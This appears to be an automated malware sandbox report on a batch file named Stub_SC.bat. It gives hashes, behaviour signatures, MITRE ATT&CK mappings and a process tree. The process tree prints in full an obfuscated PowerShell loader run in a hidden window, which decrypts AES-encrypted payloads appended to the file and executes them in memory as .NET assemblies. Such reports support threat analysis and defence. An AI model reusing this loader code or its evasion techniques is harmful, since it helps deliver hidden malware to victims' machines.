c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e

General

Target

Stub_SC.bat
Size

2.6MB
MD5

12d05ccce56b71317838c1f70c434fdd
SHA1

db2b6548661dc0ad3c19439989e1c36bf62a9ca7
SHA256

c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e
SHA512

79c4c072efba2838d053dd3912484e4138371eac29bd556e344c62abc1b49313bf562fcc6c613c7756c6d24ecc4203336da5aacaf9d4602eb8c5d6caa45053b2
SSDEEP

24576:MFz0PTLOQXlNvJ9ZosU5cqcczDvwcbpSWwHt6H5P+gRnBrqYxvcpXKX6saNpWJcU:bNWTfSWwU8i8esRx7rXDdOuGC+ewAtg

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

Stub_SC.bat.exe

pid process

3004 Stub_SC.bat.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

Stub_SC.bat.exe

pid process

3004 Stub_SC.bat.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

Stub_SC.bat.exe

pid process

3004 Stub_SC.bat.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Stub_SC.bat.exe

description pid process

Token: SeDebugPrivilege 3004 Stub_SC.bat.exe

pid	process
3004	Stub_SC.bat.exe

pid	process
3004	Stub_SC.bat.exe

pid	process
3004	Stub_SC.bat.exe

description	pid	process
Token: SeDebugPrivilege	3004	Stub_SC.bat.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 2168 wrote to memory of 2076	2168	cmd.exe	cmd.exe
PID 2168 wrote to memory of 2076	2168	cmd.exe	cmd.exe
PID 2168 wrote to memory of 2076	2168	cmd.exe	cmd.exe
PID 2076 wrote to memory of 3004	2076	cmd.exe	Stub_SC.bat.exe
PID 2076 wrote to memory of 3004	2076	cmd.exe	Stub_SC.bat.exe
PID 2076 wrote to memory of 3004	2076	cmd.exe	Stub_SC.bat.exe
PID 2076 wrote to memory of 3004	2076	cmd.exe	Stub_SC.bat.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2168

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat
2⤵
- Suspicious use of WriteProcessMemory
PID:2076

C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat.exe
"C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat.exe" -w hidden -c $apqR='LMJyQoaMJyQdMJyQ'.Replace('MJyQ', ''),'DecEzhXomEzhXprEzhXeEzhXsEzhXsEzhX'.Replace('EzhX', ''),'FHipDrHipDoHipDmHipDBasHipDe6HipD4SHipDtrHipDingHipD'.Replace('HipD', ''),'ReaGlTbdLiGlTbneGlTbsGlTb'.Replace('GlTb', ''),'CoHbpApHbpAyTHbpAoHbpA'.Replace('HbpA', ''),'MaEheginEhegMoEhegduEheglEhegeEheg'.Replace('Eheg', ''),'TroOznansoOznfooOznroOznmFoOzninaoOznloOznBloOznockoOzn'.Replace('oOzn', ''),'ChSshoanSshogeSshoESshoxSshotSshoeSshonsiSshooSshonSsho'.Replace('Ssho', ''),'EnnHrXtrynHrXPnHrXoinnHrXtnHrX'.Replace('nHrX', ''),'IndGVtvodGVtkedGVt'.Replace('dGVt', ''),'ElSdypemSdypeSdypntSdypAtSdyp'.Replace('Sdyp', ''),'SpuMPtliuMPttuMPt'.Replace('uMPt', ''),'GaSlAeaSlAtaSlACuaSlAraSlAreaSlAntaSlAPaSlAraSlAocaSlAesaSlAsaSlA'.Replace('aSlA', ''),'CrUNafeUNafatUNafeUNafDecUNafryUNafptUNafoUNafrUNaf'.Replace('UNaf', '');function pOCfZ($gekvJ){$BSBXA=[System.Security.Cryptography.Aes]::Create();$BSBXA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$BSBXA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$BSBXA.Key=[System.Convert]::($apqR[2])('zBdPf8AkDtINuDPE/A2HyG7nwgGIz2wO8zG9RRZ4V9A=');$BSBXA.IV=[System.Convert]::($apqR[2])('xa/+kPbivBu87Qs+xDhCVw==');$JTIYa=$BSBXA.($apqR[13])();$Yaopt=$JTIYa.($apqR[6])($gekvJ,0,$gekvJ.Length);$JTIYa.Dispose();$BSBXA.Dispose();$Yaopt;}function PqvPo($gekvJ){$Pbfvo=New-Object System.IO.MemoryStream(,$gekvJ);$ojhOO=New-Object System.IO.MemoryStream;$Oxkfy=New-Object System.IO.Compression.GZipStream($Pbfvo,[IO.Compression.CompressionMode]::($apqR[1]));$Oxkfy.($apqR[4])($ojhOO);$Oxkfy.Dispose();$Pbfvo.Dispose();$ojhOO.Dispose();$ojhOO.ToArray();}$atogv=[System.Linq.Enumerable]::($apqR[10])([System.IO.File]::($apqR[3])([System.IO.Path]::($apqR[7])([System.Diagnostics.Process]::($apqR[12])().($apqR[5]).FileName, $null)), 1);$MrHap=$atogv.Substring(2).($apqR[11])(':');$llRaa=PqvPo (pOCfZ ([Convert]::($apqR[2])($MrHap[0])));$VSAoW=PqvPo (pOCfZ ([Convert]::($apqR[2])($MrHap[1])));[System.Reflection.Assembly]::($apqR[0])([byte[]]$VSAoW).($apqR[8]).($apqR[9])($null,$null);[System.Reflection.Assembly]::($apqR[0])([byte[]]$llRaa).($apqR[8]).($apqR[9])($null,$null);
3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3004

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat.exe
Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/3004-5-0x0000000073F30000-0x00000000744DB000-memory.dmp

Filesize
5.7MB

Download
memory/3004-6-0x0000000073F30000-0x00000000744DB000-memory.dmp

Filesize
5.7MB

Download
memory/3004-7-0x00000000024A0000-0x00000000024E0000-memory.dmp

Filesize
256KB

Download
memory/3004-8-0x0000000073F30000-0x00000000744DB000-memory.dmp

Filesize
5.7MB

Download
memory/3004-9-0x0000000073F30000-0x00000000744DB000-memory.dmp

Filesize
5.7MB

Download
memory/3004-10-0x00000000024A0000-0x00000000024E0000-memory.dmp

Filesize
256KB

Download
memory/3004-11-0x00000000024A0000-0x00000000024E0000-memory.dmp

Filesize
256KB

Download

Analysis

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